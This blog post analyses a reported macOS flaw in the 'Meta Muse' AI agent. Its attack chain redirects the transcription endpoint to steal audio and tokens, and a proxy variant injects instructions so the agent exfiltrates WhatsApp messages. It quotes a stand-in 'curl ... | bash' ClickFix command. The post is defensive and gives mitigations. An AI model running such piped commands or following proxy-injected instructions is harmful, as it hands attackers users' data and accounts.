Meta Muse 0-day: a config bug with agent-sized blast radius
The Meta Muse 0-day is not an AI vulnerability. It is an unauthenticated local config channel attached to an assistant holding every permission you gave it.

The Meta Muse 0-day is not an AI vulnerability, and reading it as one is how you learn the wrong lesson from it. The underlying bug is the kind of thing you would flag in a code review on a Tuesday: an undocumented local settings channel that any process can write to, including the setting that decides where your voice goes.
Dan Goodin's report at Ars Technica has the disclosure details. I want to talk about what it means if you are building anything agentic from a small team in Sri Lanka.
🔍 The bug is unglamorous. That is the point
Patrick Wardle, the macOS security researcher behind the Objective-See Foundation, found that any locally installed app or terminal command can rewrite a long list of Muse's undocumented settings, regardless of what macOS permissions that code holds. Most of those settings are harmless. One is not.
The attack chain is four steps:
- Any unprivileged local process writes the undocumented setting that controls the transcription endpoint.
- It points that endpoint at an attacker-controlled server instead of Meta's.
- The user speaks. The audio, and the auth token for their Muse account, go to the attacker.
- The attacker now owns the account permanently, not just the session.
A variant runs that server as a proxy in front of Meta's, so the assistant keeps working normally while the attacker appends instructions to each prompt. Goodin's example: quietly asking Muse to ship an archive of the user's WhatsApp messages out the door.
"We can manipulate the agent and leverage its privileges to do whatever we want. So instead of us having to write a very comprehensive Mac malware stealer, we can just leverage the AI assistant itself." — Patrick Wardle, to Ars Technica
That sentence is the whole story. The malware does not need capabilities any more. The assistant already has them.
🧱 Permissions don't stack. They pool
Apple spent years building the prompts that stop a random app reaching your mic, camera, calendar, and disk. Muse asks for all of them at once, because booking appointments and filling forms genuinely needs them. That is not a bug. That is the product. The problem is what one compromised token is then worth:
| What you granted | What macOS assumes | What a hijacked agent gets |
|---|---|---|
| Microphone | One app, while in use | Live audio, routed anywhere |
| Camera | One app, with the indicator on | Photos with no clear signal to the user |
| Disk write | Scoped to that app's work | Arbitrary files written to disk |
| Calendar, location | Read for scheduling | A full movement and meeting profile |
| WhatsApp, email, social | Per-service, per-login | All of them behind one token |
Wardle's proof-of-concept attacks did exactly this: writing malicious files and taking pictures, in many cases with nothing shown to even an alert user.
Key takeaway: an agent's security is not the sum of its permissions, it is the product of them. Every scope you add multiplies the value of the one token that unlocks the lot.
Meta also chose to send dictation to the cloud, where it can be logged, when macOS has offered on-device transcription for years. Had that stayed local, this attack would not exist. Convenience of logging, paid for in attack surface.
🪝 ClickFix is the part that should worry you locally
The usual defence for bugs like this is "well, the device was already compromised, so all bets are off." That defence does not hold here. Wardle showed a simple variation of a ClickFix attack is enough.
ClickFix is the social-engineering pattern where a page shows you a fake error and a helpful fix to paste into your terminal:
# The shape of it. Never the real fix.
curl -fsSL https://vendor-support.example/fix.sh | bash
No OS exploit, no admin rights. Just one command run by a tired person at 1am. That pattern travels well through Facebook groups, YouTube tutorial comments and WhatsApp dev chats, which is a fair description of how a lot of tooling advice reaches Sri Lankan developers. Two habits that cost nothing:
- Read every piped command before you run it. If you cannot see the script, you are not fixing anything, you are installing something.
- Check installer hashes against the publisher's published value. Our hash generator does SHA-256 in the browser, no upload.
And when Wardle sent an unprivileged prompt through that terminal channel and asked Muse how it was possible, Muse answered that it was not possible. The agent was wrong about its own state. Never build a security signal on top of a model's self-report.
🌐 The Amazon block is the other lesson
Roughly 12 hours before Wardle disclosed the flaw, Amazon began blocking Muse, telling users it was an "unauthorized AI agent" violating its Conditions of Use. Amazon's position: third-party agents buying on a customer's behalf should operate openly and respect the provider's decision to participate. It has asked Meta to remove Amazon from the experience entirely.
If you are a two-person team building an agent that acts on someone else's platform, that is your risk profile in one table:
| Risk | Who controls it | Your realistic mitigation |
|---|---|---|
| Token theft via local config | You, entirely | Sign or pin sensitive endpoints |
| Prompt injection through a proxy | You, entirely | Pin TLS, verify the endpoint identity |
| Platform bans your agent | Not you | Official APIs, written agreements |
| User pastes a hostile command | Shared | Detect config drift, alert the user |
Meta is large enough to survive Amazon shutting the door. A side project whose entire value proposition was that one integration is not.
🛠️ Five things I would check in my own agent code tonight
- Is any security-relevant config writable without authentication? Endpoints, model URLs, webhook targets, callback origins. Hard-code or sign them. UI preferences can stay loose; destinations cannot.
- Does data leave the device when it does not have to? On-device is not just cheaper on a free tier, it is smaller attack surface.
- What is the blast radius of one leaked token? Decode it and look at the claims with a JWT decoder before you assume the scopes are narrow.
- Is anything irreversible? Purchases, deletions, outbound messages. Those get a human confirmation, every time, no "remember my choice".
- How do teammates receive credentials? Not in a WhatsApp group that lives forever. A self-destructing one-time secret link costs nothing and expires.
💡 What this means for you
Zuckerberg said Muse was built from the ground up for privacy and security. Meta published two posts in two weeks on the design work behind it, and did not answer Ars Technica's emailed questions about the flaw. Wardle's read is blunter: the bar for these apps is infinitely higher, and in his opinion security was not considered from the start.
The transferable lesson has nothing to do with Meta's size or budget. Agents concentrate authority, and concentrated authority makes ordinary bugs catastrophic. A writable settings file is minor in a note-taking app. Attached to something holding your mic, your calendar and your WhatsApp, it is a full account takeover from one pasted line.
If you are shipping an agent this quarter, spend an hour on the boring question before you spend a week on the model: what exactly can this thing do if someone else is driving it?
AI-assisted draft, checked by an automated editorial review before publishing. Sources are linked inline; if something here is wrong, tell me and it gets corrected.